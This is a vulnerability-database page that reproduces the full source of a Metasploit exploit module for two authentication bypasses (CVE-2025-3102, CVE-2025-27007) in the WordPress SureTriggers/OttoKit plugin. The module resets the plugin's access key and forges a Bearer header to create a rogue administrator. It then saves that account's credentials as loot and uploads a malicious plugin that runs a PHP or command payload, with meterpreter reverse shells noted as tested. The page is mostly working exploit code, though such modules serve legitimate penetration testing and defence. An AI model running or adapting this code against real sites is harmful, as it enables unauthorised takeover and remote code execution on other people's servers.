Lucene search
+L

WordPress SureTriggers (aka OttoKit) Combined Auth Bypass (CVE-2025-3102, CVE-2025-27007)

Exploits two admin bypass flaws in WordPress SureTriggers/OttoKit using Bearer header authorization.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Payload::Php
  include Msf::Auxiliary::Report
  include Msf::Module::HasActions
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Wordpress
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress SureTriggers (aka OttoKit) Combined Auth Bypass (CVE-2025-3102, CVE-2025-27007)',
        'Description' => %q{
          Exploits two distinct authorization bypasses in SureTriggers/OttoKit plugin:
          - CVE-2025-3102: admin creation via St-Authorization Bearer (empty)
          - CVE-2025-27007: reset access key via connection endpoint & admin creation with Bearer header
        },
        'Author' => [
          'Michael Mazzolini (mikemyers)',  # Vulnerability discovery (CVE-2025-3102)
          'Denver Jackson',                 # Vulnerability discovery (CVE-2025-27007)
          'Khaled Alenazi (Nxploited)',     # PoC (CVE-2025-3102)
          'Valentin Lobstein',              # Metasploit module
        ],
        'References' => [
          ['CVE', '2025-3102'],
          ['CVE', '2025-27007'],
          ['EDB', '52286'],
          ['URL', 'https://github.com/Nxploited/CVE-2025-3102'],
          ['URL', 'https://www.wordfence.com/blog/2025/04/100000-wordpress-sites-affected-by-administrative-user-creation-vulnerability-in-suretriggers-wordpress-plugin/'],
          ['URL', 'https://patchstack.com/articles/additional-critical-ottokit-formerly-suretriggers-vulnerability-patched?_s_id=cve'],
          ['URL', 'https://cloud.projectdiscovery.io/library/CVE-2025-27007']
        ],
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Targets' => [
          [
            'PHP In-Memory',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
              # tested with php/meterpreter/reverse_tcp
            }
          ],
          [
            'Unix In-Memory',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ],
          [
            'Windows In-Memory',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2025-03-13',
        'Actions' => [
          ['CVE-2025-3102', { 'Description' => 'SureTriggers <= 1.0.78 auth bypass & RCE' }],
          ['CVE-2025-27007', { 'Description' => 'SureTriggers <= 1.0.82 auth bypass, reset & RCE' }]
        ],
        'DefaultAction' => 'CVE-2025-27007',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options(
      [
        OptString.new('WP_USER', [ true, 'Username for the new administrator', Faker::Internet.username(specifier: 5..8) ]),
        OptString.new('WP_PASS', [ true, 'Password for the new administrator', Faker::Internet.password(min_length: 12) ]),
        OptString.new('WP_EMAIL', [ true, 'Email for the new administrator', Faker::Internet.email(name: Faker::Internet.username(specifier: 5..8)) ]),
        OptString.new('ST_AUTH', [ false, 'Value for st_authorization header', Rex::Text.rand_text_alphanumeric(16)])
      ]
    )
  end

  def check
    return CheckCode::Unknown('Target not responding') unless wordpress_and_online?

    wp_version = wordpress_version
    print_status("Detected WordPress version: #{wp_version}") if wp_version

    plugin = 'suretriggers'
    max_versions = {
      'cve-2025-3102' => '1.0.78',
      'cve-2025-27007' => '1.0.82'
    }
    max_vuln = max_versions[action.name.downcase]

    detected = check_plugin_version_from_readme(plugin)&.details&.dig(:version)
    return CheckCode::Unknown("Unable to determine #{plugin} version") unless detected

    @plugin_version = detected

    ver = Rex::Version.new(detected)
    if ver <= Rex::Version.new(max_vuln)
      CheckCode::Appears("Detected #{plugin} #{ver} vulnerable to #{action.name}")
    else
      CheckCode::Safe("Detected #{plugin} #{ver} appears patched")
    end
  end

  def exploit
    token = ''
    if action.name.downcase == 'cve-2025-27007'
      reset_access_key
      token = datastore['ST_AUTH']
    end

    headers = { 'St-Authorization' => "Bearer #{token}" }
    res = create_admin_request(headers)
    unless res&.code == 200 && res.get_json_document&.dig('success')
      fail_with(Failure::UnexpectedReply, "#{action.name}: user creation failed")
    end

    finalize_admin
    cookie = wordpress_login(datastore['WP_USER'], datastore['WP_PASS'])
    upload_and_execute_payload(cookie)
  end

  # Sends a JSON POST to wp-json/<segments>, then retries via rest_route without wp-json
  def send_json_with_fallback(segments, payload, headers)
    # Primary path
    uri = normalize_uri(target_uri.path, 'wp-json', *segments)
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => uri,
      'ctype' => 'application/json',
      'data' => payload,
      'headers' => headers
    )
    # Fallback
    unless res&.code == 200 && res.get_json_document&.dig('success')
      vprint_warning('Primary endpoint failed, trying fallback via rest_route...')
      res = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path),
        'vars_get' => { 'rest_route' => "/#{segments.join('/')}" },
        'ctype' => 'application/json',
        'data' => payload,
        'headers' => headers
      )
    end
    res
  end

  def create_admin_request(headers)
    send_json_with_fallback(
      ['sure-triggers', 'v1', 'automation', 'action'],
      user_payload.to_json,
      headers
    )
  end

  def user_agent_header
    return 'SureTriggers' unless @plugin_version

    @plugin_version < Rex::Version.new('1.0.81') ? 'SureTriggers' : 'OttoKit'
  end

  def reset_access_key
    print_status('Resetting access key')
    body = {
      'sure-triggers-access-key' => datastore['ST_AUTH'],
      'wp-password' => datastore['WP_PASS'],
      'connection_status' => 'ok',
      'wp-username' => datastore['WP_USER'],
      'connected_email' => datastore['WP_EMAIL']
    }.to_json

    res = send_json_with_fallback(
      ['sure-triggers', 'v1', 'connection', 'create-wp-connection'],
      body,
      { 'User-Agent' => user_agent_header }
    )

    fail_with(Failure::UnexpectedReply, 'Key reset failed') unless res&.code == 200 && res.get_json_document&.dig('success')
    print_good('Access key reset successful')
  end

  def user_payload
    {
      'integration' => 'WordPress',
      'type_event' => 'create_user_if_not_exists',
      'selected_options' => {
        'user_name' => datastore['WP_USER'],
        'password' => datastore['WP_PASS'],
        'user_email' => datastore['WP_EMAIL'],
        'role' => 'administrator'
      },
      'fields' => [],
      'context' => {}
    }
  end

  def finalize_admin
    print_good("Admin created: #{datastore['WP_USER']}:#{datastore['WP_PASS']}")

    create_credential(
      workspace_id: myworkspace_id,
      origin_type: :service,
      module_fullname: fullname,
      username: datastore['WP_USER'],
      private_type: :password,
      private_data: datastore['WP_PASS'],
      service_name: 'WordPress',
      address: datastore['RHOST'],
      port: datastore['RPORT'],
      protocol: 'tcp',
      status: Metasploit::Model::Login::Status::UNTRIED
    )
    vprint_good("Credential for user '#{datastore['WP_USER']}' stored successfully.")

    report_host(host: datastore['RHOST'])

    service = report_service(
      host: datastore['RHOST'],
      port: datastore['RPORT'],
      proto: 'tcp',
      name: fullname,
      info: 'WordPress with vulnerable SureTriggers plugin allowing unauthenticated admin creation'
    )

    loot_data = "Username: #{datastore['WP_USER']}, Password: #{datastore['WP_PASS']}\n"
    loot_path = store_loot(
      'wordpress.admin.created',
      'text/plain',
      datastore['RHOST'],
      loot_data,
      'wp_admin_credentials.txt',
      'WordPress Created Admin Credentials',
      service
    )
    vprint_good("Loot saved to: #{loot_path}")

    report_vuln(
      host: datastore['RHOST'],
      port: datastore['RPORT'],
      proto: 'tcp',
      service: service,
      name: "SureTriggers Auth Bypass (#{action.name})",
      refs: references,
      info: 'Unauthenticated admin creation via SureTriggers plugin'
    )
  end

  def upload_and_execute_payload(auth_cookie)
    plugin = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
    payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}.php"
    zip = generate_plugin(plugin, payload_name.sub('.php', ''))

    print_status('Uploading malicious plugin for code execution...')
    ok = wordpress_upload_plugin(plugin, zip.pack, auth_cookie)
    fail_with(Failure::UnexpectedReply, 'Plugin upload failed') unless ok

    payload_uri = normalize_uri(wordpress_url_plugins, plugin, payload_name)
    print_status("Executing payload at #{payload_uri}...")
    register_files_for_cleanup(payload_name, "#{plugin}.php")
    register_dir_for_cleanup("../#{plugin}")
    send_request_cgi('uri' => payload_uri, 'method' => 'GET')
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Mar 2025 00:00Current
8.8High risk
Vulners AI Score8.8
CVSS 3.19.8
EPSS0.7568
SSVC
422